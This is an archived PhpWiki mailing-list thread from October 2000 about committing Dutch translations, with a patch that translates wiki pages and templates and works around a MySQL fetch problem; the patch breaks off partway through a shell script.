You can subscribe to this list here.
2000 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(1) |
Jun
(103) |
Jul
(105) |
Aug
(16) |
Sep
(16) |
Oct
(78) |
Nov
(36) |
Dec
(58) |
---|---|---|---|---|---|---|---|---|---|---|---|---|
2001 |
Jan
(100) |
Feb
(155) |
Mar
(84) |
Apr
(33) |
May
(22) |
Jun
(77) |
Jul
(36) |
Aug
(37) |
Sep
(183) |
Oct
(74) |
Nov
(235) |
Dec
(165) |
2002 |
Jan
(187) |
Feb
(183) |
Mar
(52) |
Apr
(10) |
May
(15) |
Jun
(19) |
Jul
(43) |
Aug
(90) |
Sep
(144) |
Oct
(144) |
Nov
(171) |
Dec
(78) |
2003 |
Jan
(113) |
Feb
(99) |
Mar
(80) |
Apr
(44) |
May
(35) |
Jun
(32) |
Jul
(34) |
Aug
(34) |
Sep
(30) |
Oct
(57) |
Nov
(97) |
Dec
(139) |
2004 |
Jan
(132) |
Feb
(223) |
Mar
(300) |
Apr
(221) |
May
(171) |
Jun
(286) |
Jul
(188) |
Aug
(107) |
Sep
(97) |
Oct
(106) |
Nov
(139) |
Dec
(125) |
2005 |
Jan
(200) |
Feb
(116) |
Mar
(68) |
Apr
(158) |
May
(70) |
Jun
(80) |
Jul
(55) |
Aug
(52) |
Sep
(92) |
Oct
(141) |
Nov
(86) |
Dec
(41) |
2006 |
Jan
(35) |
Feb
(62) |
Mar
(59) |
Apr
(52) |
May
(51) |
Jun
(61) |
Jul
(30) |
Aug
(36) |
Sep
(12) |
Oct
(4) |
Nov
(22) |
Dec
(34) |
2007 |
Jan
(49) |
Feb
(19) |
Mar
(37) |
Apr
(16) |
May
(9) |
Jun
(38) |
Jul
(17) |
Aug
(31) |
Sep
(16) |
Oct
(34) |
Nov
(4) |
Dec
(8) |
2008 |
Jan
(8) |
Feb
(16) |
Mar
(14) |
Apr
(6) |
May
(4) |
Jun
(5) |
Jul
(9) |
Aug
(36) |
Sep
(6) |
Oct
(3) |
Nov
(3) |
Dec
(3) |
2009 |
Jan
(14) |
Feb
(2) |
Mar
(7) |
Apr
(16) |
May
(2) |
Jun
(10) |
Jul
(1) |
Aug
(10) |
Sep
(11) |
Oct
(4) |
Nov
(2) |
Dec
|
2010 |
Jan
(1) |
Feb
|
Mar
(13) |
Apr
(11) |
May
(18) |
Jun
(44) |
Jul
(7) |
Aug
(2) |
Sep
(14) |
Oct
|
Nov
(6) |
Dec
|
2011 |
Jan
(2) |
Feb
(6) |
Mar
(3) |
Apr
(2) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2012 |
Jan
(11) |
Feb
(3) |
Mar
(11) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
(1) |
Nov
(4) |
Dec
|
2013 |
Jan
|
Feb
|
Mar
|
Apr
(3) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2014 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(4) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
(8) |
Dec
(1) |
2015 |
Jan
(3) |
Feb
(2) |
Mar
|
Apr
(3) |
May
(1) |
Jun
|
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
(2) |
2016 |
Jan
|
Feb
(4) |
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2017 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
(3) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2018 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(3) |
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2020 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(3) |
Jun
|
Jul
(5) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2021 |
Jan
|
Feb
(4) |
Mar
|
Apr
|
May
|
Jun
|
Jul
(1) |
Aug
(6) |
Sep
(3) |
Oct
|
Nov
|
Dec
|
2022 |
Jan
(11) |
Feb
(2) |
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2023 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
(1) |
Nov
(3) |
Dec
(3) |
2024 |
Jan
(7) |
Feb
(2) |
Mar
(1) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2025 |
Jan
|
Feb
|
Mar
|
Apr
(1) |
May
(1) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
From: Steve W. <sw...@wc...> - 2000-10-23 04:28:35
|
I finally subscribed to the phpwiki-checkins list successfully, and I committed some changes and got the notice. You can subscribe at http://sf-www.sourceforge.net/mail/?group_id=6121 sw ...............................ooo0000ooo................................. Hear FM quality freeform radio through the Internet: http://wcsb.org/ home page: www.wcsb.org/~swain |
From: Jan N. <ja...@gn...> - 2000-10-22 21:00:32
|
On Sunday, 22 October 2000, Arno Hollosi writes: > > Here's the remaining translations -- just did a new update -d. > > I've committed them. I followed your suggestion and added a bit to > setupwiki.php, so that some generic (English) pages will always be uploaded > into the wiki, no matter which language is used. Currently these are: > ReleaseNotes, TestPage, and SteveWainstead. According pages removed from > locale/nl/pgsrc/ Ok. > I've not included this hack. If you have read the docs carefully it says > something like: instead of doing multiple mysql_result for getting one row, > you should use mysql_fetch_row. Well, where mysql_result is used now only one + > value is fetched -- mysql_fetch_row is not necessarily better here. If it > breaks for other people as well, I will change it. Ah, ok. Fine. I assume this is a temporary bug, some inconsistancy between php/mysql, whatever. Just so that you know about it. Greetings, Jan. -- Jan Nieuwenhuizen <ja...@gn...> | GNU LilyPond - The music typesetter http://www.xs4all.nl/~jantien | http://www.lilypond.org |
From: Arno H. <aho...@in...> - 2000-10-22 19:59:21
|
> Here's the remaining translations -- just did a new update -d. I've committed them. I followed your suggestion and added a bit to setupwiki.php, so that some generic (English) pages will always be uploaded into the wiki, no matter which language is used. Currently these are: ReleaseNotes, TestPage, and SteveWainstead. According pages removed from locale/nl/pgsrc/ > Oh, there's another thing: I've also changed (a bit as a hack) > the fetch function for mysql, because `mysql_result' seems > now broken over here. The doco says mysql_fetch_row is better > anyway.. I've not included this hack. If you have read the docs carefully it says something like: instead of doing multiple mysql_result for getting one row, you should use mysql_fetch_row. Well, where mysql_result is used now only one value is fetched -- mysql_fetch_row is not necessarily better here. If it breaks for other people as well, I will change it. /Arno |
From: Jan N. <ja...@gn...> - 2000-10-22 19:13:05
|
On Friday, 20 October 2000, Arno Hollosi writes: > Curiously enough, the patch did not apply cleanly. Maybe an error on my side. > As a result I may have omitted some of the beautification patches. Hmm, strange. I think I did a checkout just before. Cvs looks ok. Here's the remaining translations -- just did a new update -d. Oh, there's another thing: I've also changed (a bit as a hack) the fetch function for mysql, because `mysql_result' seems now broken over here. The doco says mysql_fetch_row is better anyway.. Greetings, Jan. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/lib/mysql.php ./lib/mysql.php --- ../phpwiki/lib/mysql.php Fri Oct 20 15:22:03 2000 +++ ./lib/mysql.php Sun Oct 22 16:33:27 2000 @@ -23,6 +23,15 @@ SetWikiPageLinks($dbi, $pagename, $linklist) */ + // This morning, seemingly suddenly, my Wiki broke down. The only + // way I could get it up again was by avoiding mysql_result. + // This should do no harm, but maybe we should integrate this. + // YMMV. -- jcn + function FixMysqlResult ($res, $row) { + list($first) = mysql_fetch_row ($res); + return $first; + } + // open a database and return the handle // ignores MAX_DBM_ATTEMPTS @@ -129,7 +138,7 @@ function IsWikiPage($dbi, $pagename) { $pagename = addslashes($pagename); if ($res = mysql_query("select count(*) from $dbi[table] where pagename='$pagename'", $dbi['dbc'])) { - return(mysql_result($res, 0)); + return(FixMysqlResult($res, 0)); } return 0; } @@ -139,7 +148,7 @@ $pagename = addslashes($pagename); if ($res = mysql_query("select count(*) from $ArchivePageStore where pagename='$pagename'", $dbi['dbc'])) { - return(mysql_result($res, 0)); + return(FixMysqlResult($res, 0)); } return 0; } @@ -160,7 +169,7 @@ { $res = mysql_query("select hits from hitcount where pagename='$pagename'", $dbi['dbc']); if (mysql_num_rows($res)) - $hits = mysql_result($res, 0); + $hits = FixMysqlResult($res, 0); else $hits = "0"; @@ -223,7 +232,7 @@ $res = mysql_query("select pagename from wiki", $dbi["dbc"]); $rows = mysql_num_rows($res); for ($i = 0; $i < $rows; $i++) { - $pages[$i] = mysql_result($res, $i); + $pages[$i] = FixMysqlResult($res, $i); } return $pages; } Binary files ../phpwiki/locale/nl/LC_MESSAGES/phpwiki.mo and ./locale/nl/LC_MESSAGES/phpwiki.mo differ diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/GoedeStijl ./locale/nl/pgsrc/GoedeStijl --- ../phpwiki/locale/nl/pgsrc/GoedeStijl Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/GoedeStijl Sun Oct 22 16:28:23 2000 @@ -1,13 +1,15 @@ -"Young writers often suppose that style is a garnish for the meat of -prose, a sauce by which a dull dish is made palatable. Style has no such -separate entity; it is nondetachable, unfilterable. The beginner should -approach style warily, realizing that it is himself he is approaching, no -other; and he should begin by turning resolutely away from all devices -that are popularly believed to indicate style--all mannerisms, tricks, -adornments. The approach to style is by way of plainness, simplicity, -orderliness, sincerity." +"Beginnende schrijvers veronderstellen nogal eens dat stijl een laagje vernis +is voor de broodtekst van de proza, als een sausje dat rauwe bonen zoet maakt. +Stijl staat echter niet op zichzelf; het is onlosmakelijk, verweven. De +beginneling moet stijl behoedzaam benaderen, zich realiserend dat hij zelf +degene is die naderbij komt, niet andersom; en hij moet beginnen met het +resoluut de rug toekeren van alle zaken die gewoonlijk beschouwd worden +als indicators van stijl --- alle hebbelijkheden, truukjes, versiersels. +De aanpak van stijl is gewoon, eenvoudig, opgeruimd en oprecht." ---Strunk and White, "The Elements of Style" +--Strunk en White, "The Elements of Style" -''And thus an American textbook, typical required reading for 10th-grade English students, unknowingly extols some virtues of WabiSabi'' +''En daarom toont een amerikaans leerboek, tiepiese verplichte leerstof voor +vierde klas middelbare school, zonder het te weten bepaalde deugden van +WabiSabi'' --scummings diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/HoeWikiTeGebruiken ./locale/nl/pgsrc/HoeWikiTeGebruiken --- ../phpwiki/locale/nl/pgsrc/HoeWikiTeGebruiken Fri Oct 20 15:22:03 2000 +++ ./locale/nl/pgsrc/HoeWikiTeGebruiken Sun Oct 22 16:43:01 2000 @@ -2,10 +2,10 @@ '''Alles wat je echt moet weten is:''' - * Om een pagina te veranderen, klik op de Verander Tekst koppeling -onderaan de desbetreffende pagina. Doe dat nu maar, en lees de bron tekst -van deze pagina. Dat is wat zinvoller. - * Je maakt schuingedrukte tekst door woorden tussen enkele + * Om een pagina te veranderen, klik op de Verander Tekst +koppeling onderaan de desbetreffende pagina. Doe dat nu maar, en lees +de bron tekst van deze pagina. Dat is wat zinvoller. + * Je maakt cursieve tekst door woorden tussen enkele aanhalingtekens te zetten ''zoals dit''. * Je maakt '''vette tekst''' door aan weerszijden drie aanhalingtekens te gebruiken. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/JanNieuwenhuizen ./locale/nl/pgsrc/JanNieuwenhuizen --- ../phpwiki/locale/nl/pgsrc/JanNieuwenhuizen Fri Oct 20 15:22:03 2000 +++ ./locale/nl/pgsrc/JanNieuwenhuizen Sun Oct 22 16:29:17 2000 @@ -1,4 +1,4 @@ Hallo. Ik heb dit WikiWikiWeb geinternationaliseerd en de eerste nederlandse -vertaling gemaakt. Ik ben soms op http://www.xs4all.nl/~jantien. +vertaling gemaakt. Ik ben te vinden op http://www.xs4all.nl/~jantien. -Meldt onjuistheden in de vertaling aan mailto:ja...@gn.... +Stuur verbeteringen voor deze vertaling aan mailto:ja...@gn.... diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/MeerOverTechnieken ./locale/nl/pgsrc/MeerOverTechnieken --- ../phpwiki/locale/nl/pgsrc/MeerOverTechnieken Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/MeerOverTechnieken Sun Oct 22 16:01:23 2000 @@ -1,17 +1,16 @@ -PhpWiki is written in the server-side scripting language PHP, available from http://www.php.net/. PHP resembles C and Perl in its syntax, and functions much like ASP, EmbPerl or JSP. +PhpWiki is geschreven in de server-zijde scripttaal PHP, die verkrijgbaar is op http://www.php.net/. PHP lijkt kwa syntax op C en Perl en functioneert goed vergelijkbaar met ASP, EmbPerl of JSP. -PhpWiki consists of a dozen or so files of mixed PHP and HTML. The web pages that make up a WikiWikiWeb based on PHP live in a DBM file with backup copies of previous versions of pages stored in a second DBM file. +PhpWiki bestaat uit een tal bestanden met een mengsel van PHP en HTML. De webpagina's waaruit het WikiWikiWeb gebaseerd op PHP bestaat, komen uit een data base, waarin ook backups van vorige versies worden bewaard. -Every time a user hits the site the page requested is pulled from the DBM and rendered on the fly. The user only ever requests the file index.php3, which then decides which other php files to include. +Steeds wanneer een gebruiker de site bezoekt, wordt de gevraagde pagina uit de data base gehaald en weergegeven. De gebruiker vraagt enkel altijd het bestand index.php op, dat dan beslist welke andere php bestanden worden ingevoegd. -Links to pages in the wiki are automatically linked: PhpWiki. This might be the single most compelling aspect of a wiki, the ability to add pages simply by linking to them. The next most compelling thing is how easily external URL's link: - # http://www.wcsb.org/ - # ftp://ftp.redhat.com/ - # news://news.mozilla.org/ - -Combined with one namespace and a simple markup, a Wiki exhibits many of the characteristics of WabiSabi. +Koppelingen naar pagina's in de Wiki worden automaties gemaakt: PhpWiki. Dit zou best wel eens het aantrekkelijkste onderdeel van een Wiki kunnen zijn, de mogelijkheid van pagina's toevoegen, enkel door het maken van een koppeling. Het op een na aantrekkelijkst is het gemak waarmee externe URL's gekoppeld kunnen worden: -PhpWiki is licensed under the Gnu General Public license, which you should be able to see here: http://www.gnu.org/copyleft/gpl.txt. + # http://www.lilypond.org/ + # ftp://ftp.nl.debian.org/ + # news://news.mozilla.org/ +Gecombineerd met een enkele naamruimte en eenvoudige opmaak, vertoont een Wiki vele karakteristieken van WabiSabi. +PhpWiki wordt uitgebracht onder de GNU Algemene Openbare Licentie ([GNU General Public License | http://www.gnu.org/copyleft/gpl.html]). diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/PaginasToevoegen ./locale/nl/pgsrc/PaginasToevoegen --- ../phpwiki/locale/nl/pgsrc/PaginasToevoegen Fri Oct 20 15:22:03 2000 +++ ./locale/nl/pgsrc/PaginasToevoegen Sun Oct 22 16:38:27 2000 @@ -1,14 +1,12 @@ Voor het toevoegen van een nieuwe pagina aan Wiki, hoef je alleen maar een zinvolle titel de bedenken, de woorden met een hoofdletter te beginnen, en -ZeAanElkaarTeSchrijvenZoalsDit. Wiki herkent dit automagisch als een +ZeAanElkaarTeSchrijvenZoalsDit. Wiki herkent dit automagies als een koppeling. Daarna kun je verder gaan en HetVraagtekenAanKlikken vlak na je nieuwe koppeling, dan geeft Wiki je een venster voor het maken van de nieuwe pagina. -If you wish to add documents with complex markup to the Wiki, you might be better off providing a URL to it than trying to add the text of the document here, like so: - -Als je documenten met een gecompliceerde opmaak aan Wiki toe wilt voegen, +Als je documenten met een ingewikkelde opmaak aan de Wiki toe wilt voegen, kun je misschien beter een URL geven dan de tekst van het document hier in proberen te tiepen, zoals: @@ -18,5 +16,5 @@ zien er gewoon uit als tekst.</tags> De bedoeling van Wiki is zo eenvoudig mogelijk zijn, om gebruik aan te moedigen. -Noot dat er een kunstje is dat je systeembeheerder aan kan zetten om +Merk op dat er een kunstje is dat je systeembeheerder aan kan zetten om ingebedde HTML toe te staan, maar hier zijn beveiligingsrisiko's mee gemoeid. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/RecenteBezoekers ./locale/nl/pgsrc/RecenteBezoekers --- ../phpwiki/locale/nl/pgsrc/RecenteBezoekers Fri Oct 20 15:22:03 2000 +++ ./locale/nl/pgsrc/RecenteBezoekers Sun Oct 22 17:41:22 2000 @@ -1,6 +1,6 @@ Onderteken hieronder met naam en datum! -Jeff Dairiki, Arno Hollosi, SteveWainstead, Php Wiki authors -JanNieuwenhuizen, Php Wiki internationaliseerder en vertaler. +Jeff Dairiki, Arno Hollosi, SteveWainstead, Php Wiki authors, +JanNieuwenhuizen, Php Wiki internationalisatie en vertaling. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/SteveWainstead ./locale/nl/pgsrc/SteveWainstead --- ../phpwiki/locale/nl/pgsrc/SteveWainstead Fri Oct 20 15:49:54 2000 +++ ./locale/nl/pgsrc/SteveWainstead Thu Jan 1 01:00:00 1970 @@ -1,5 +0,0 @@ -Hi. I built this WikiWikiWeb. I'm at http://wcsb.org/~swain/. - -Please report bugs to mailto:php...@li... - - diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/TekstFormatteringsRegels ./locale/nl/pgsrc/TekstFormatteringsRegels --- ../phpwiki/locale/nl/pgsrc/TekstFormatteringsRegels Fri Oct 20 15:22:03 2000 +++ ./locale/nl/pgsrc/TekstFormatteringsRegels Sun Oct 22 17:08:22 2000 @@ -56,15 +56,15 @@ '''Nadruk''' - * Gebruik twee enkele aanhalingtekens ('') voor nadruk (meestal -schuin). + * Gebruik twee paar enkele aanhalingtekens ('') voor nadruk (meestal +cursief). - * Gebuik drie enkele aanhalingtekens (''') voor sterke nadruk (meestal -vet). + * Gebuik drie paar enkele aanhalingtekens (''') voor sterke nadruk +(meestal vet). - * Gebruik vijf enkele aanhalingstekens ('''''), of drie binnen dubbele, -voor een ander soort van nadruk (VetSchuinInWiki), maar wees voorzichtig met -luizen in de Wiki nadruk logica... + * Gebruik vijf paar enkele aanhalingstekens ('''''), of drie binnen +dubbele, voor een ander soort van nadruk (VetCursiefInWiki), maar wees +op je hoede voor luizen in de Wiki nadruk logica... * Nadruk kan meerdere malen in een regel worden gebruikt, maar kan regelbreuken niet oversteken. @@ -94,7 +94,7 @@ per pagina uniek. * De oude manier van URL koppeling wordt nog steeds ondersteund: -tiep voor de URLs "http:", "ftp:' of "mailto:" ome een automatische koppeling +tiep voor de URLs "http:", "ftp:' of "mailto:" ome een automatiese koppeling te maken, als in: http://c2.com/. * URLs die eindigen op .png worden ingebed ''wanneer ingevoerd als @@ -110,6 +110,6 @@ * De & tekens werken toch niet. * Als je nou echt zo nodig HTML moet gebruiken, begin elke regel met -een staaf (|). Noot dat dit kunstje mogelijk gemaakt moet worden door +een staaf (|). Merk op dat dit kunstje mogelijk gemaakt moet worden door de systeembeheerder. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/TestPagina ./locale/nl/pgsrc/TestPagina --- ../phpwiki/locale/nl/pgsrc/TestPagina Fri Oct 20 15:22:03 2000 +++ ./locale/nl/pgsrc/TestPagina Sun Oct 22 16:43:00 2000 @@ -64,21 +64,21 @@ ---- Opmaak testen: -__onderstreep voor vet__ +__onderstreept voor vet__ '''aanhalingtekens voor vet''' -''aanhalingstekens voor schuin'' +''aanhalingstekens voor cursief'' -__''onderstreep vet schuin''__ +__''onderstreept vet cursief''__ '''''vijf aanhalingtekens vet schuin''''' ''''''zes aanhalingtekens'''''' -'''''Vet schuin''' en schuin'' (luizig) +'''''Vet cursief''' en cursief'' (luizig) -'''Vet en ''vet-schuin''''' (ook luizig) +'''Vet en ''vet-cursief''''' (ook luizig) ! k1 @@ -96,21 +96,21 @@ ---- geformatteerde tekst: - __onderstreep voor vet__ + __onderstreept voor vet__ '''aanhalingtekens voor vet''' - ''aanhalingstekens voor schuin'' + ''aanhalingstekens voor cursief'' - __''onderstreep vet schuin''__ + __''onderstreept vet cursief''__ - '''''vijf aanhalingtekens vet schuin''''' + '''''vijf aanhalingtekens vet cursief''''' ''''''zes aanhalingtekens'''''' - '''''Vet schuin''' en schuin'' (luizig) + '''''Vet cursief''' en cursief'' (luizig) - '''Vet en ''vet-schuin''''' (ook luizig) + '''Vet en ''vet-cursief''''' (ook luizig) ! k1 diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/UitgaveNoten ./locale/nl/pgsrc/UitgaveNoten --- ../phpwiki/locale/nl/pgsrc/UitgaveNoten Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/UitgaveNoten Fri Oct 20 15:39:01 2000 @@ -1,39 +1,3 @@ -PhpWiki 1.1.6 is a major revision of PhpWiki. The ability to have themes (via an -easy-to-edit template system) has been added; the schema for MySQL has been -completely overhauled, breaking the page details into columns (for efficiency we -agreed not to put references in a separate table, so it's not completely -normalized. "Don't let the best be the enemy of the good.") - -Postgresql support has been added and the markup language is evolving, now allowing -!<h1> -!!<h2> -!!!<h3> -tags and __a new way to make text bold__, and of course the -[new linking scheme]. - -There is a new feature on all pages called ''more info'' that gives you a low level -detailed view of a page, which is probably more useful for debugging than anything. - -As we move towards a 1.2 release we will be adding logging, top ten most active -pages and other new features with the new database schema (and yes, these features -will make it into the DBM version too). I also want to add mSQL support and test it -under Zend, the new PHP4. - -Below are the release notes for version 1.03, the last release of the 1.0 PhpWiki -series. --Steve Wainstead, mailto:sw...@pa... - ----- - -PhpWiki was written because I am so interested in WikiWikiWebs, and I haven't used PHP since version 2.0. I wanted to see how it had advanced. - -Version 1.0 is a near-perfect clone of the Portland Pattern Repository, http://c2.com/cgi-bin/wiki?WikiWikiWeb. In truth, I was using the Wiki script you can download from there as a model; that Wiki lacks a number of features the PPR has, like EditCopy. So in truth PhpWiki is a kind of hybrid of the PPR and the generic Wiki you can get from there (which is written in Perl). - -The one caveat of PhpWiki is the allowance of HTML if the line is preceded by a bar (or pipe, which is how I usually say it). (That's a '|'). It was very simple to add, and the idea came from a posting somewhere on the PPR about how AT&T had an internal Wiki clone and used the same technique. The ability to embed HTML is disabled by default for security reasons. - -Version 1.01 includes a patch that fixes a small error with rendering <hr> lines. Thanks to Gerry Barksdale. - -See the HISTORY file for a rundown on the whole development process if that sort of thing really interests you :-) - ---SteveWainstead +Zie ook ReleaseNotes. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/WabiSabi ./locale/nl/pgsrc/WabiSabi --- ../phpwiki/locale/nl/pgsrc/WabiSabi Fri Oct 20 15:22:04 2000 +++ ./locale/nl/pgsrc/WabiSabi Sun Oct 22 17:28:56 2000 @@ -5,7 +5,7 @@ "neemt ruwweg dezelfde positie in het japanse pantheon van esthetiese waarden in als de griekse idealen van schoonheid en perfectie in het westen." -Wabi-sabi een schoonheid van onvoltooide, vergankelijke en onvolledige dingen. +Wabi-sabi een schoonheid van onvolmaakte, vergankelijke en onvolledige dingen. Het is de schoonheid van nederige en bescheiden dingen. @@ -21,7 +21,7 @@ naar en denken over dingen en het bestaan. *Alle dingen zijn belangrijk - *Alle dingen zijn onvoltooid + *Alle dingen zijn onvolmaakt *Alle dingen zijn onvolledig Materiele kenmerken van wabi-sabi: diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/WikiWikiWeb ./locale/nl/pgsrc/WikiWikiWeb --- ../phpwiki/locale/nl/pgsrc/WikiWikiWeb Fri Oct 20 15:22:04 2000 +++ ./locale/nl/pgsrc/WikiWikiWeb Sun Oct 22 17:28:59 2000 @@ -7,11 +7,11 @@ ''Maak het Verandertekst formulier eenvoudig en de ZoekPagina snel.'' ''Naast het vlug zijn, aspireert deze plaats ook de idealen van Zen in het -algemeen, genaamd WikiSabi. Zen vindt schoonheid in het onvoltooide en -vergankelijke. Uiteindelijk is dat alles wat je nodig hebt.'' +algemeen, genaamd WikiSabi. Zen vindt schoonheid in het onvolmaakte en +kortstondige. Uiteindelijk is dat alles wat je nodig hebt.'' -Je kunt gedag zeggen op RecenteBoekers, of lezen over HoeWikiTeGebruiken en hoe -je PaginasToevoegen kan. +Je kunt gedag zeggen op RecenteBezoekers, of lezen over HoeWikiTeGebruiken +en hoeje PaginasToevoegen kan. Momenteel is er voor deze Wiki geen discussie "onderwerp", dus ga je gang, speel ermee en vermaak je. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/ZoekPagina ./locale/nl/pgsrc/ZoekPagina --- ../phpwiki/locale/nl/pgsrc/ZoekPagina Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/ZoekPagina Sun Oct 22 16:38:26 2000 @@ -1,7 +1,7 @@ Hier zijn een paar goede plaatsen om te beginnen met bladeren. * HoeWikiTeGebruiken maakt snel wegwijs in Wiki. - * RecenteVeranderingen worden automatisch bijgehouden. + * RecenteVeranderingen worden automaties bijgehouden. * MeerOverTechnieken van het bladeren en veranderen van deze server. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/templates/editlinks.html ./locale/nl/templates/editlinks.html --- ../phpwiki/locale/nl/templates/editlinks.html Sun Oct 22 19:12:49 2000 +++ ./locale/nl/templates/editlinks.html Sun Oct 22 19:19:24 2000 @@ -9,9 +9,9 @@ <form method="POST" action="###SCRIPTURL###"> <h1><a href="###SCRIPTURL###"><img src="###LOGO###" border=0 alt="[phpwiki]" width=50 height=50></a> -Edit ###PAGE### Links -<input type="submit" value=" Save "> -<input type="reset" value=" Reset "></h1> +Verander ###PAGE### Koppelingen +<input type="submit" value=" Bewaar "> +<input type="reset" value=" Herstel "></h1> <P> [1] <input type="text" size="55" name="r1" value="###R1###"><br> @@ -28,8 +28,8 @@ [12] <input type="text" size="55" name="r12" value="###R12###"><br> <p> -Type the full URL (http:// ...) for each reference cited in the text. -<BR>Protocols allowed are: ###ALLOWEDPROTOCOLS### +Tiep de volledige URL (http:// ...) voor elke referentie in de tekst. +<BR>Toegestane protokollen: ###ALLOWEDPROTOCOLS### <input type="hidden" name="post" value="###PAGEURL###"> </form> diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/po/nl.po ./locale/po/nl.po --- ../phpwiki/locale/po/nl.po Fri Oct 20 15:22:04 2000 +++ ./locale/po/nl.po Sun Oct 22 17:30:06 2000 @@ -10,7 +10,7 @@ msgid "" msgstr "" "Project-Id-Version: phpwiki 1.1.7\n" -"POT-Creation-Date: 2000-10-20 13:43+0200\n" +"POT-Creation-Date: 2000-10-22 17:30+0200\n" "PO-Revision-Date: 2000-09-30 02:23+0200\n" "Last-Translator: Jan Nieuwenhuizen <ja...@gn...>\n" "Language-Team: Dutch <nl...@li...>\n" @@ -140,7 +140,7 @@ msgid "Full Text Search Results" msgstr "Volledige tekst zoek resultaten" -#: lib/msql.php:29 lib/mysql.php:33 +#: lib/msql.php:29 lib/mysql.php:42 msgid "Cannot establish connection to database, giving up." msgstr "Kan verbinding naar data base niet tot stand brengen, geef op." @@ -149,7 +149,7 @@ msgid "Error message: %s" msgstr "Foutboodschap: %s" -#: lib/msql.php:35 lib/mysql.php:39 +#: lib/msql.php:35 lib/mysql.php:48 #, c-format msgid "Cannot open database %s, giving up." msgstr "Kan data base %s niet openen, geef op." @@ -169,12 +169,12 @@ msgid "Insert into %s failed: %s" msgstr "Insert in %s gefaald: %s" -#: lib/mysql.php:35 lib/mysql.php:41 lib/mysql.php:115 +#: lib/mysql.php:44 lib/mysql.php:50 lib/mysql.php:124 #, c-format msgid "MySQL error: %s" msgstr "MySQL fout: %s" -#: lib/mysql.php:113 +#: lib/mysql.php:122 #, c-format msgid "Error writing page '%s'" msgstr "Fout bij schrijven pagina `%s'" diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/po/phpwiki.pot ./locale/po/phpwiki.pot --- ../phpwiki/locale/po/phpwiki.pot Fri Oct 20 15:22:04 2000 +++ ./locale/po/phpwiki.pot Sun Oct 22 17:30:06 2000 @@ -6,7 +6,7 @@ msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" -"POT-Creation-Date: 2000-10-20 13:43+0200\n" +"POT-Creation-Date: 2000-10-22 17:30+0200\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: LANGUAGE <LL...@li...>\n" @@ -133,7 +133,7 @@ msgid "Full Text Search Results" msgstr "" -#: lib/msql.php:29 lib/mysql.php:33 +#: lib/msql.php:29 lib/mysql.php:42 msgid "Cannot establish connection to database, giving up." msgstr "" @@ -142,7 +142,7 @@ msgid "Error message: %s" msgstr "" -#: lib/msql.php:35 lib/mysql.php:39 +#: lib/msql.php:35 lib/mysql.php:48 #, c-format msgid "Cannot open database %s, giving up." msgstr "" @@ -162,12 +162,12 @@ msgid "Insert into %s failed: %s" msgstr "" -#: lib/mysql.php:35 lib/mysql.php:41 lib/mysql.php:115 +#: lib/mysql.php:44 lib/mysql.php:50 lib/mysql.php:124 #, c-format msgid "MySQL error: %s" msgstr "" -#: lib/mysql.php:113 +#: lib/mysql.php:122 #, c-format msgid "Error writing page '%s'" msgstr "" diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/translate.sh ./locale/translate.sh --- ../phpwiki/locale/translate.sh Fri Oct 20 15:22:03 2000 +++ ./locale/translate.sh Sun Oct 22 17:36:18 2000 @@ -11,6 +11,11 @@ # * Translators, after making a translation update # +if [ ! -f index.php ]; then + echo Usage: ./locale/translate.sh + exit 